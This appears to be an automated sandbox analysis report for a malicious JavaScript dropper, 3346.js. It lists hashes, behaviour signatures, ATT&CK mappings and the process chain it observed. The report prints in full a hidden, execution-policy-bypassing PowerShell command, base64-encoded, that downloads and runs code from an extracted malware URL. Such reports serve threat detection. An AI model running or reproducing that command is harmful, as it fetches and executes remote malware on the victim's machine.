84825c5810241c7a092119d19b92165b11774135d9557d7c54212bd6ccaa5a24

General

Target

3346.js
Size

530KB
MD5

7e23a9a840725f3431ef5825c6ab6839
SHA1

b9f307ac96ded5c42d931f7c4355756164ca0123
SHA256

09eeec589e425f4da6dc1587e49f7f32c17f4c9e026b10c2360e5b3f72699ca7
SHA512

51f027140d19f3b493d91a664d4c8bf2514b38c210f28178948a21d56fcde0ed99a068d7c0d04b9b3012ad03fc5be6e88d8e0f78aeb55bb919a2170a7e47da92

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://erzurum.us/65376345273497600381/tjTyjrjywrdmJoaaenvF/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1688 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1688 powershell.exe
1688 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1688 powershell.exe

flow	pid	process
7	1688	powershell.exe

pid	process
1688	powershell.exe
1688	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 1856 wrote to memory of 1492	1856	wscript.exe	cmd.exe
PID 1856 wrote to memory of 1492	1856	wscript.exe	cmd.exe
PID 1856 wrote to memory of 1492	1856	wscript.exe	cmd.exe
PID 1492 wrote to memory of 1688	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 1688	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 1688	1492	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3346.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1856

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1492-59-0x0000000000000000-mapping.dmp

Download
memory/1688-60-0x0000000000000000-mapping.dmp

Download
memory/1688-61-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

Filesize
8KB

Download
memory/1688-62-0x0000000001F80000-0x0000000001F81000-memory.dmp

Filesize
4KB

Download
memory/1688-63-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/1688-65-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1688-64-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/1688-66-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1688-67-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/1688-68-0x000000001C230000-0x000000001C231000-memory.dmp

Filesize
4KB

Download

Analysis

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